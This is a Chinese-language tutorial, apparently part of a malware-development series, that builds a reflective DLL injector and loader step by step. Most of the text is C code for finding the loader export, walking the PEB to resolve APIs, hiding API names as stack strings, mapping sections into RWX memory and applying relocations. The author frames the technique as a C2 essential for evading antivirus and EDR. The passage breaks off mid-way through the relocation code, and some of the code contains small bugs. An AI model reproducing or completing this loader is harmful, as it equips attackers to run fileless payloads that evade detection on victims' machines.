# 22-自举的代码幽灵——反射DLL注入（Reflective DLL Injection）

## 一、前言

> ⚠**注意**：最重要的技术总是压轴出场，本节所介绍的是高级的注入——反射性 DLL 加载器实现，难度略大，看不懂就可以先跳过本节，学习后面的知识。

> 反射注入揭示了计算机安全最深邃的哲学命题：防御者固守的"进程-文件-注册表"三维认知框架，便暴露了对抗高维攻击的致命缺陷，DLL始终以内存碎片的形态存在，杀毒软件的磁盘扫描如同在沙漠寻找特定沙粒，通过反射加载器构建的隧道，DLL的初始化如同超距作用般跳过标准生命周期。即使过去了十几年，反射DLL注入依旧是被攻击者广泛使用的高级注入技术。

`反射DLL注入`是让某个进程主动加载指定的dll的技术，而不依赖windows提供的loadlibraryA函数。常规的dll注入技术使用LoadLibraryA函数来使被注入进程加载指定的dll。这样使得常规dll注入技术在受害者主机上留下痕迹较大，很容易被edr等安全产品检测到。由于是自实现PE文件映射到内存，所以需要对PE文件结构和文件映射流程有比较深刻的理解。

`反射DLL注入` 特别特别的重要几乎是现代C2的标配，免杀效果良好，如果一个远控不能实现实现反射dll注入，就不能称之为c2。在分析sliver和cs源码时，我就看到一些敏感操作，如mimikatz是由反射dll注入的方式实现的，shellcode无文件落地，规避效果优秀。

由于 `反射DLL注入` 实在太过重要了，我将在下文花费大量笔墨来介绍 `反射DLL注入` 的原理和代码实现。

`反射DLL注入` 与常规的dll注入的大致步骤差不多，对于 `Inject` 其关键的差异是不通过LoadLibraryA+GetProcAddress来获得恶意DLL中的ReflectiveLoader函数。对于恶意DLL，自关键是实现DLL文件自加载，而我们文章也会重点围绕**ReflectiveLoader**的实现来展开。

## 二、Inject的原理和代码实现

**大致步骤**：

1. 打开DLL文件，获得DLL的大小
2. 创建本地堆空间，当然也可以用一个数组来当缓冲区
3. 读取文件内容到本地堆空间
4. 开目标进程，获得其句柄
5. 申请一块保护属性为PAGE\_EXECUTE\_READWRITE的内存空间，将dll文件写入进去
6. 获取 ReflectLoader 在目标进程内存中的地址
7. 调用 ReflectLoader 函数

前5步相对简单，是很常规的利用Windows API将DLL文件先读到本地缓冲中，然后再写到目标进程的内存空间中。从我们的大致步骤中可以看到，我们并没有使用LoadLibraryA加载DLL，而是直接将DLL文件读取到内存中，此时的DLL文件还没有进行映射操作，还是保持着磁盘文件的形式。

直接将DLL读取到内存中会导致我们不能使用GetProcAddress获得ReflectLoader函数，所以 `Inject` 的核心是找到ReflectLoader的地址。

怎么找ReflectLoader的地址呢？首先明白一点，ReflectLoader是DLL的导出函数，其函数的相关信息存放在导出表中，但是这又会存在一个问题，因为此时DLL在内存是以磁盘文件的形式存在的，导出表的偏移地址是RVA，导出表里的函数的地址也是RVA，因此我们需要写一个函数将RVA->文件偏移地址。

RVA->文件偏移地址的公式：`文件偏移 = 节区文件起始地址（PointerToRawData） + （RVA - 节区虚拟起始地址（VirtualAddress））`

由这个公式可以编写出 `RVAtoFileOffset` 函数

```go
//作用：RVA->文件偏移地址
//公式：文件偏移 = 节区文件起始地址（PointerToRawData） + （RVA - 节区虚拟起始地址（VirtualAddress））
DWORD RVAtoFileOffset(DWORD RVA, PIMAGE_NT_HEADERS pNtHeader, PIMAGE_SECTION_HEADER pSec) {
    
    // 遍历节区表
    DWORD SectionNumber = pNtHeader->FileHeader.NumberOfSections;
    for (int i = 0; i < SectionNumber; i++) {
        // 检查RVA是否在当前节区的范围内
        if (RVA >= pSec[i].VirtualAddress && RVA < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
            // 转换RVA到文件偏移地址
            return pSec[i].PointerToRawData + (RVA - pSec[i].VirtualAddress);
        }
    }
    // 如果未找到对应的节区，返回无效值
    return 0xFFFFFFFF;
}
```

有了 `RVAtoFileOffset` 函数我们就可以着手编写获取 ReflectLoader 在目标进程内存中的地址的 `GetProcAddrByName` 函数了

`GetProcAddrByName` 函数的核心就是遍历导出表，获得导出函数名，与指定函数名 （在本例中是 `ReflectLoader`） 进行比对，成功就结束循环，这个函数与下文的 `GetApiAddressByName` 逻辑类似，只是 `GetProcAddrByName` 适用以磁盘文件的形式的DLL。具体看下面的代码

```go
//作用：该函数通过导出表获得指定函数的地址
LPVOID GetProcAddrByName(LPVOID lpRemoteLibraryBuffer, const char* funcName, LPVOID pBuf){

    //定位一些相关文件头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeader + sizeof(IMAGE_NT_HEADERS));

    //获取导出表地址及大小，注意这里是RVA
    DWORD exportDirRVA = pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
    DWORD exportDirSize = pNtHeader->OptionalHeader.DataDirectory[0].Size;

    //定位导出表
    //得到的偏移地址是RVA，但是咱们的文件现在只是磁盘文件,所以需要转换为文件偏移
    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeader, pSec);

    //转换之后RVA就变成了文件偏移，然后再定位
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);

    //解析导出表，这里同理都是RVA
    DWORD pRNames = pExportDir->AddressOfNames;
    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeader, pSec);
    DWORD* pNames = (DWORD*)((PBYTE)pBuf + pFNames);

    DWORD pRFunctions = pExportDir->AddressOfFunctions;
    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeader, pSec);
    DWORD* pFunctions = (DWORD*)((PBYTE)pBuf + pFFunctions);

    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeader, pSec);
    WORD* pNameOrdinals = (WORD*)((PBYTE)pBuf + pFFunctions);

    // 遍历查找目标函数
    DWORD funcRVA = 0;
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        DWORD functionNameRVA = pNames[i];
        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeader, pSec);
        const char* pName = (char*)((PBYTE)pBuf + functionNameFileOffset);
        if (strcmp(pName, funcName) == 0) {
            funcRVA = pFunctions[i];
            break;
        }
    }
    if (funcRVA == 0) {
        printf("\n[-] Function %s not found.", funcName);
        return NULL;
    }

    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeader, pSec);;
    DWORD* pfileOffset = (DWORD*)((PBYTE)pBuf + fileOffset);
    if (fileOffset == 0) {
        printf("\n[-] Failed to convert RVA to file offset.");
        return NULL;
    }

    // 返回函数的地址
    LPVOID remoteFuncAddr = (LPBYTE)lpRemoteLibraryBuffer + fileOffset;
    return remoteFuncAddr;
}
```

## 三、ReflectiveLoader的原理和代码实现

[VS中调试DLL工程的正确方法\_vs debug dll-CSDN博客](https://blog.csdn.net/cqzdl/article/details/107932463)

`反射DLL注入` 的实现实在太多了，我就挑选用几个比较知名的项目拼凑出一个属于我的反射dll注入的项目（bushi=。=），让我们一起去分析源码，来窥探 `反射DLL注入` 的奥秘吧

在具体介绍实现原理之前，我们首先来看看 `ReflectiveLoader` 实现大致实现思路，有一个比较明确的方向，且接下来我都会根据每一步详细展开：

1. **暴力搜索DLL的基址**
2. **获取所需要的Windows API**
3. **加载 PE 文件节到内存**
4. **修复重定位表**
5. **修复导入表**
6. **获取dllmain的地址，执行dllmain**

关键步骤就这几步，其实还可以添加额外的几个步骤，比如说**修复延迟导入表**、**修改节的保护属性**、**执行TLS回调函数**等

> **补充**： `TLS回调函数`是在程序或DLL加载和卸载时自动调用的函数，通常用于初始化或清理线程本地存储的数据。
>
> `在反射DLL注入中，执行TLS回调函数的作用`：遍历并执行所有注册的TLS回调函数，通知它们进程附加的事件，从而进行必要的初始化工作，这一步常见于SRDI中，即DLL转换为自加载的Shellcode。

### 3.1  暴力搜索DLL的基址

由于 `Inject` 将带有 `ReflectiveLoader` 的DLL加载于内存中的任意位置（ASLR防护），因此 `ReflectiveLoader` 将首先计算其自身Image在内存中的当前位置，即ImageBase，以便能够解析自己的PE头部，即DOS头、NT头，以供以后使用。

其实这一步也是看具体情况来决定是否要实现，比如说在 [monoxgas/sRDI：反射 DLL 注入的 shellcode 实现。将 DLL 转换为与位置无关的 shellcode](https://github.com/monoxgas/sRDI) 中，通过 `Inject` 来传递DLL的基址也是一种比较常规的做法，而我将跟随Stephen Fewer的思想，自实现暴力搜索DLL的基址。

在Stephen Fewer的项目中，我们可以看到他为了使项目可以在多平台多架构上通用，定义了一些的宏定义

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/08/16-04-52-2efe7ed34cc5ac8493cc27479bab7f0a-20250208160452-a14558.png)

我不想实现这样的宏定义，然后参考了几篇文章之后了解到，使用这样的方式

```go
ULONG_PTR uiLibraryAddress = (ULONG_PTR)ReflectiveLoader; 
```

可以获取 `ReflectiveLoader` 函数运行时在DLL中的地址。大致了解过进程的内存布局的人都会知道，`ReflectiveLoader` 函数通常位于代码段（.text），而DOS头位于 `ReflectiveLoader` 的后面（低地址区域），所以我们可以通过 `ReflectiveLoader` 的地址从前往后逐地址去验证DOS头部和NT头部，直到找到 DLL的基址，即DOS头部地址。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/08/16-32-11-3127ac051f3f61ceb04b694763c9cf4d-20250208163210-7455ed.png)

怎么验证DOS头和NT头呢？DOS头的签名是 `0x5A4D（小端序）`，即 `“MZ”` 字符串；NT头的签名是 `0x00004550（小端序）`，即 `“PE00”`，可以用010 editor随便看一个pe文件

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/08/17-24-42-06540fac8aab2e09755ae2d39c4a8101-20250208172442-01167e.png)

知道原理之后，我们尝试实现第一步的代码

```go
/*---------------------第一步：暴力搜索DLL的基址---------------------------------*/

// 获得ReflectiveLoader函数的地址，如果找到了DLL基址，则将其存储到uiLibraryAddress，pNtHeader就是NT头的地址
ULONG_PTR uiLibraryAddress = (ULONG_PTR)ReflectiveLoader;   
ULONG_PTR uiHeaderValue = 0;                             
PIMAGE_NT_HEADERS pNtHeader = 0;

// 从ReflectiveLoader函数的地址往回退，直到找到DLL的基址
while (TRUE)
{
    // 验证是否为DOS头
    if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
    {
        // 验证是否为NT头
        uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
        if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
        {
            pNtHeader = (PIMAGE_NT_HEADERS)(uiHeaderValue + uiLibraryAddress);
            if (pNtHeader->Signature == IMAGE_NT_SIGNATURE)
                break;
        }
    }
    uiLibraryAddress--;
}

if (!uiLibraryAddress)
    return FALSE;
```

### 3.2 获取所需要的Windows API

因为我们的DLL不是通过系统加载到内存中的，所以DLL的导入表是未修复的状态，我们就不可以使用API，但是在 `复制PE头和节到新内存区域` 中需要用到VirtualAlloc ，在 `修复导入表` 中需要用到LoadLibraryA+GetProcAddress，所以需要解析主机进程kernel32.dll导出表，获取所需要API的地址。

为了实现这一目标，我就自实现了一个可以根据DLL的名称和API名称获取API函数地址的 `GetApiAddressByName` 函数。该函数大致原理如下

1. 获取PEB的地址
2. 获取LDR的地址
3. 遍历已加载模块列表，查找目标DLL。
4. 解析目标DLL的PE结构，定位导出表。
5. 遍历导出表，查找目标API名称。
6. 返回找到的函数地址或NULL。

一句话总结就是遍历peb结构体中的ldr成员中的InMemoryOrderModuleList链表获取dll名称，遍历函数所在的dll导出表获得必要的函数的名称，如果匹配成功就返回目标函数的地址。

为了实现 `GetApiAddressByName`，还需要实现几个辅助函数，它们分布是`my_towlower`、`MyCompareStringW`、`MyCompareStringA`、`ExtractDllName`

我简要的说一下它们的作用

1. `my_towlower`：将宽字符从大写转换小写，是用于辅助 `MyCompareStringW` 函数的
2. `MyCompareStringW`：不区分大小写的宽字符串比较。这主要查找目标DLL，因为我们的DLL名称是宽字符串表示的
3. `MyCompareStringA`: ASCII字符串比较函数。这主要用于查找目标API名称，因为微软的API是ASCII字符串表示的
4. `ExtractDllName`：因为 `LDR_DATA_TABLE_ENTRY` 这个结构体的 `FullDllName.Buffer` 字段表示的是完整的DLL路径，我们需要从DLL路径中提取出DLL名称 `自定义宽字符转小写`my\_towlower\` 函数

```go
// 自定义宽字符转小写（简化版 Unicode 支持）
wchar_t my_towlower(wchar_t c) {
    // 基础拉丁字母（A-Z）直接转换
    if (c >= L'A' && c <= L'Z') {
        return c + 32;
    }

    // 拉丁扩展-A 大写字母（如 À, È, Ê 等）
    if (c >= 0xC0 && c <= 0xDE && c != 0xD7) { // 0xC0(À)~0xDE(Þ), 排除 0xD7(×)
        return c + 32;
    }

    // 特殊字符单独处理
    switch (c) {
    case L'İ': return L'i';    // 土耳其语 İ → i
    case L'Σ': return L'σ';    // 希腊大写 Sigma → 小写 sigma
    case L'Ϊ': return L'ϊ';    // 希腊大写 Iota with dialytika
        // 可在此添加更多特殊字符映射...
    }

    // 其他字符直接返回（视为无小写形式）
    return c;
}
```

不区分大小写的宽字符串比较函数`MyCompareStringW`

```go
// 不区分大小写的宽字符串比较函数（不修改原始字符串）
bool MyCompareStringW(const wchar_t* str1, const wchar_t* str2) {
    // 空指针检查
    if (str1 == NULL || str2 == NULL) return false;

    size_t i = 0;
    // 动态转换并比较字符，无需修改原始字符串
    while (str1[i] != L'\0' && str2[i] != L'\0') {
        wchar_t c1 = my_towlower(str1[i]);
        wchar_t c2 = my_towlower(str2[i]);

        if (c1 != c2) return false;
        i++;
    }

    // 必须同时到达字符串结尾才算相等
    return (str1[i] == L'\0' && str2[i] == L'\0');
}
```

ASCII字符串比较函数 `MyCompareStringA`

```go
// ASCII字符串比较函数
bool MyCompareStringA(CHAR str1[], CHAR str2[]) {


    int i = 0;
    while (str1[i] && str2[i]) {

        if (str1[i] != str2[i]) {
            return false;
        }
        i++;
    }

    // 必须同时到达字符串结尾才算相等
    return (str1[i] == '\0' && str2[i] == '\0');
}
```

提取 DLL 名称的函数`ExtractDllName`

```go
// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
    wchar_t* fileName = NULL;
    wchar_t* temp = (wchar_t*)fullDllName;

    // 遍历并找到最后一个 '\\'，获取文件名部分
    while (*temp) {
        if (*temp == L'\\') {
            fileName = temp + 1;  // 更新文件名的位置
        }
        temp++;
    }

    // 如果没有找到 '\\'，则认为整个字符串就是文件名
    if (!fileName) {
        fileName = (wchar_t*)fullDllName;
    }

    return fileName;
}
```

`GetApiAddressByName`的实现如下

```go
FARPROC GetApiAddressByName(wchar_t* TargertDllName, char* ApiName) {
    
    // 从获取 PEB 地址
    PPEB pPEB = (PPEB)__readgsqword(0x60);

    // 获取 PEB.Ldr
    PPEB_LDR_DATA pLdr = pPEB->Ldr;

    // 遍历模块列表
    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY pCurrentEntry = pListHead->Flink;
    while (pCurrentEntry && pCurrentEntry != pListHead) {
        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        if (pEntry && pEntry->FullDllName.Buffer) {

            wchar_t* fullDllPath = pEntry->FullDllName.Buffer;

            // 提取 DLL 名称
            wchar_t* CurrentDllName = ExtractDllName(fullDllPath);

            // 比较 DLL 名称（不区分大小写）
            if (MyCompareStringW(CurrentDllName, TargertDllName)) {
                // 找到目标 DLL
                HMODULE hModule = (HMODULE)pEntry->DllBase;

                // 分析 PE 文件找到导出表
                PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
                PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
                    pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

                // 获取导出表的各个信息
                DWORD* pFunctionNames = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfNames);
                DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfFunctions);
                WORD* pFunctionOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory->AddressOfNameOrdinals);

                // 遍历导出表，查找目标函数
                for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
                    char* functionName = (char*)((BYTE*)hModule + pFunctionNames[i]);

                    // 找到函数名，获取其地址
                    if (MyCompareStringA(functionName, ApiName)) {
                        return (FARPROC)((BYTE*)hModule + pFunctionAddresses[pFunctionOrdinals[i]]);
                    }
                }

                // 如果遍历完导出表未找到函数，返回 NULL
                return NULL;
            }
        }

        pCurrentEntry = pCurrentEntry->Flink;
    }

    return NULL; // 未找到模块
}
```

现在，`获取所需要的Windows API` 这一步骤的所有函数都准备好了，还有一点需要明确，就是我们的节区并没有映射到内存中，如果我们使用类似 `CHAR VirtualAlloc[] = "VirtualAlloc";` 的常量字符串，这些字符串是保存在 .rdata 中的,在未完成映射时，我们是无法访问到的，所以我们需要将常量字符串改成栈字符串，以将字符串保存到 .text 中，将字符串改成函数内数组就会以栈保存了。

`CHAR getProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };` 是这样存放的

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/09/14-35-11-9bb85c4995464b8e1bbf6d87faf31613-20250209143510-03806e.png)

而 `CHAR VirtualAlloc[] = "VirtualAlloc";` 这样存放的

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/09/14-38-13-8e7bd1fcaa2028d7d1971f7c1dee4ee1-20250209143813-458cd1.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/09/14-38-30-fb5057ca78e2ee0664772d06235cfd2a-20250209143830-78ebc8.png)

我们开始正式的获取所需要的API

```go
/*---------------------第二步：获取所需要的Windows API---------------------------*/

// 定义API指针类型
typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE hModule, LPCSTR  lpProcName);
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR lpLibFileName);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD  flProtect);

// 声明API指针变量
GETPROCADDR pGetProcAddress = NULL;
LOADLIBRARYA pLoadLibraryA = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;

// 将字符串拆分为字符数组，嵌入代码段
// 优化：这里可以将字符串用自定义哈希算法得到唯一值，我这里就不用了，具体看我给的参考资料
WCHAR kernel32[] = { 'K', 'e', 'r', 'n', L'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
WCHAR ntdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' };
CHAR virtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', '\0' };
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
CHAR getProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };

// 获取API的地址，将其存储在API指针变量中
pGetProcAddress = (GETPROCADDR)GetApiAddressByName(kernel32, getProcAddress);
pLoadLibraryA = (LOADLIBRARYA)GetApiAddressByName(kernel32, loadLibraryA);
pVirtualAlloc = (VIRTUALALLOC)GetApiAddressByName(kernel32, virtualAlloc);

if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc)
{
    return FALSE;
}
```

### 3.3 加载 PE 文件节到内存

这一步骤相对简单，需要用VirtualAlloc申请一块RWX的保护属性、`SizeOfImage` 大小的内存区域，然后逐字节将所有头部信息复制到新内存区域，大小为 `SizeOfHeaders`。

> **补充** `SizeOfHeaders`：这是 PE 文件头（`IMAGE_OPTIONAL_HEADER` 结构）中的一个字段，表示 **所有头部结构的总大小**。 的 `SizeOfImage`：这是 `IMAGE_OPTIONAL_HEADER` 中的另一个字段，表示 **整个 PE 映像（Image）加载到内存后的总大小**

复制完所有头部信息后，我们就要开始将PE文件映射到内存里。回想一下，我们在 `Inject` 中是将DLL以文件的形式读取到内存中的，并没有进行映射，所以我们模拟系统的加载器进行映射就需要用到 `IMAGE_SECTION_HEADER` 的四个字段，一个是 `SizeOfRawData`、`PointerToRawData`、`VirtualAddress`、`VirtualSize`

1. `PointerToRawData`：节区数据在 **磁盘文件** 中的偏移量
2. `SizeOfRawData`：节区数据在 **磁盘文件** 中占用的实际大小
3. `VirtualAddress`：节区加载到**内存**后的 相对虚拟地址（RVA）
4. `VirtualSize`：节区在 **内存** 中占用的实际大小

我们就根据这四个字段将PE节一一映射到新内存中，具体看下面的代码

```go
/*---------------------第三步：加载 PE 文件节到内存---------------------*/

//获取磁盘文件的DOS头
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)uiLibraryAddress;

//给内存分配空间，并对BaseAddress进行初始化
DWORD ImageSize = pNtHeader->OptionalHeader.SizeOfImage;  //内存空间大小
PBYTE BaseAddress = (PBYTE)pVirtualAlloc(NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BaseAddress == NULL) return FALSE;

// 手动实现 CopyMemory 的功能
BYTE* dst = (BYTE*)BaseAddress;                          // 目标内存地址
BYTE* src = (BYTE*)uiLibraryAddress;                     // 源内存地址
size_t size = pNtHeader->OptionalHeader.SizeOfHeaders;   // 需要复制的字节数

// 逐字节复制
for (size_t i = 0; i < size; ++i) {
    dst[i] = src[i];                                     
}

// 复制节区表
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);  // 获取第一个节区头（节表起始位置）

// 获取总节区数量（从 NT 头的 FileHeader 中读取）
DWORD SectionNumber = pNtHeader->FileHeader.NumberOfSections;

// 遍历所有节区
for (int i = 0; i < SectionNumber; i++) {

    // 跳过没有原始数据或文件偏移为 0 的节区（例如 .bss 节）
    if (pSectionHeader->SizeOfRawData == 0 || pSectionHeader->PointerToRawData == 0) {
        pSectionHeader++;
        continue;
    }

    // 计算PE节在磁盘文件中的位置和在新内存中的位置，并将磁盘文件中的节复制到新内存中
    BYTE* chSrcMem = (BYTE*)((ULONG_PTR)uiLibraryAddress + (DWORD)(pSectionHeader->PointerToRawData));
    BYTE* chDestMem = (BYTE*)((ULONG_PTR)BaseAddress + (DWORD)(pSectionHeader->VirtualAddress));
    DWORD dwSizeOfRawData = pSectionHeader->SizeOfRawData;
    DWORD dwVirtualSize = pSectionHeader->Misc.VirtualSize;
    for (DWORD j = 0; j < dwSizeOfRawData; j++) {
        chDestMem[j] = chSrcMem[j];
    }

    // 如果内存中的节区大小 > 文件中的原始数据大小，需要填充剩余空间
    if (dwVirtualSize > dwSizeOfRawData) {
        BYTE* start = chDestMem + dwSizeOfRawData;
        BYTE* end = chDestMem + dwVirtualSize;
        while (start < end) {
            *start++ = 0;
        }
    }

    // 移动到下一个节头的位置
    pSectionHeader++;
}
```

### 3.4 修复重定位表

大致步骤

1. **计算基址偏移量**
2. **定位重定位表**
3. **遍历重定位块**
4. **处理重定位条目**
5. **地址修正逻辑**

```
重定位表 (Relocation Table)
├── 重定位块 1 (Block 1)
│   ├── IMAGE_BASE_RELOCATION 头
│   ├── 条目 1 (TypeOffset)
│   ├── 条目 2 (TypeOffset)
│   └── ...
├── 重定位块 2 (Block 2)
│   ├── IMAGE_BASE_RELOCATION 头
│   ├── 条目 1 (TypeOffset)
│   └── ...
└── ...
```

#### （一）重定位表

在反射式DLL注入中，当DLL未加载到其预设基址（`ImageBase`）时，需通过**重定位表**修正所有硬编码地址，也就是绝对地址，确保代码正确执行。此过程是绕过ASLR（地址空间布局随机化）的关键步骤

重定位表是一个可变长度的数据结构，它会被单独存放在 `.reloc` 命名的节中，重定位表的位置和大小可以从数据目录中的第6个（索引值为5） `IMAGE_DATA_DIRECTORY` 结构中获取到，它的数据结构如下

```go
typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
```

重定位表由多个**重定位块（Relocation Block）** 组成，每个块对应一个内存页（4KB），其中 `VirtualAddress` 字段记录了第一个重定位块的位置

#### （二）重定位块

每个重定位块以一个 `IMAGE_BASE_RELOCATION` 结构开头，后面跟着在本页中使用的所有重定位项，每个重定位项占用16位，最后一个块是一个使用全0填充的 `_IMAGE_BASE_RELOCATION` 全零结束块。`IMAGE_BASE_RELOCATION` 数据结构如下所示

```go
typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
//  WORD    TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
```

#### （三）重定位条目（TypeOﬀset）

TypeOﬀset的每个元素都是一个自定义类型结构，每个重定位条目为 **16位（WORD）**，其组成如下：

| 位域         | 长度   | 作用                     |
| ---------- | ---- | ---------------------- |
| **Type**   | 高4位  | 定义地址修正类型（如DIR64）       |
| **Offset** | 低12位 | 相对于块头VirtualAddress的偏移 |

数据结构定义

```go
typedef struct
{
    WORD	offset : 12;
    WORD	type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
```

若条目值为`0x3012`（十六进制），则：

* `Type = 0x3` → `IMAGE_REL_BASED_HIGHLOW`
* `Offset = 0x012` → 偏移18字节

TypeOﬀset的元素个数 = （SizeOfBlock - 8 ）/ 2 ，`SizeOfBlock` 表示块的总字节数，`SizeOfBlock - 8` 表示减去 `IMAGE_BASE_RELOCATION` 结构体所占的字节数得到一个块内所有重定位条目所占的字节数，一个重定位条目占2个字节，`（SizeOfBlock - 8 ）/ 2` 就得到重定位条目的数量了。

在下面的代码中有这样的一条语句 `(PBYTE)relocList != (PBYTE)relocation + relocation->SizeOfBlock`。这里的relocation指向当前块的起始位置，而SizeOfBlock是整个块的大小，包括块头（IMAGE\_BASE\_RELOCATION结构）和后续的重定位项，当 `relocList` 的地址达到当前块的末尾（即 `relocation` 的起始地址加上 `SizeOfBlock` 的值）时停止循环。

当然你也可以计算出一个重定位块的重定位条目数，然后用for循环遍历也是可以的，感兴趣的读取可以自己去实现。

#### （四）地址修正

简单举一个例子

```go
*(PULONG_PTR)(BaseAddress + relocation->VirtualAddress + relocList->offset) += baseOffset;
```

**公式**： `BaseAddress`（DLL实际基址） + `VirtualAddress`（块起始RVA） + `offset`（条目偏移）= 实际需要修正的**内存位置**（即存储原始地址值的地址） 接下来我们分步来解释这一条语句

1. **计算目标内存地址**：BaseAddress + relocation->VirtualAddress + relocList->offset，三者相加得到需要修正的**内存位置**（即存储原始地址值的地址）
2. **指针类型转换**：转换为PULONG\_PTR类型的指针，确保后续操作按机器字长处理数据，适应不同架构的地址修正需求
3. **解引用**：通过指针访问目标内存地址处的值，获取需要修正的**原始地址值**（如全局变量地址、函数指针等）
4. **应用基址偏移修正**：新地址 = 原地址 + (实际基址 - 预期基址)

**内存位置变化，举一个全局变量的例子**：

* baseOffset：`实际加载地址 (BaseAddress) - 预期基地址 (ImageBase) = 0x20000000 - 0x10000000 = 0x10000000`
* 原内存地址： `0x10001234`
* 新内存地址：`0x10001234 + baseOffset = 0x20001234`

程序中某个全局变量地址原先指向 `0x10001234` 的地址，被动态修正为 `0x20001234`，使其指向实际加载后的正确位置。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/09/16-29-28-dd8f2e5fdca3ca1d45334f348ab7dd35-20250209162927-050f09.png)

完整代码如下

```go
/*---------------------第四步：修复重定位表----------------------*/

// 计算实际加载地址与预期基址的偏移量（重定位修正量）
DWORD_PTR baseOffset = ((ULONG_PTR)BaseAddress - (ULONG_PTR)pNtHeader->OptionalHeader.ImageBase);

// 获取PE头中定义的重定位表目录信息
PIMAGE_DATA_DIRECTORY pRelocDir  = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
PIMAGE_RELOC relocList;

// 仅当存在基址偏移且重定位表非空时处理
if (baseOffset && pRelocDir ->Size) {

    // 定位到内存中重定位表的起始位置（RVA转换为实际地址）
    PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)(pRelocDir ->VirtualAddress + (ULONG_PTR)BaseAddress);

    // 遍历所有重定位块（直到遇到VirtualAddress为0的终止块）
    while (relocation->VirtualAddress) {

        // 定位到当前块内的重定位条目列表（紧接在块头之后）
        relocList = (PIMAGE_RELOC)(relocation + 1);

        // 遍历当前块内的所有重定位条目
        while ((PBYTE)relocList != (PBYTE)relocation + relocation->SizeOfBlock) {

            /* 根据重定位类型进行地址修正：
               DIR64   - 64位全地址修正（x64架构）
               HIGHLOW - 32位全地址修正（x86架构）
               HIGH    - 修正32位地址的高16位
               LOW     - 修正32位地址的低16位 */
            if (relocList->type == IMAGE_REL_BASED_DIR64)
                *(PULONG_PTR)(BaseAddress + relocation->VirtualAddress + relocList->offset) += baseOffset;
            else if (relocList->type == IMAGE_REL_BASED_HIGHLOW)
                *(PULONG_PTR)(BaseAddress + relocation->VirtualAddress + relocList->offset) += (DWORD)baseOffset;
            else if (relocList->type == IMAGE_REL_BASED_HIGH)
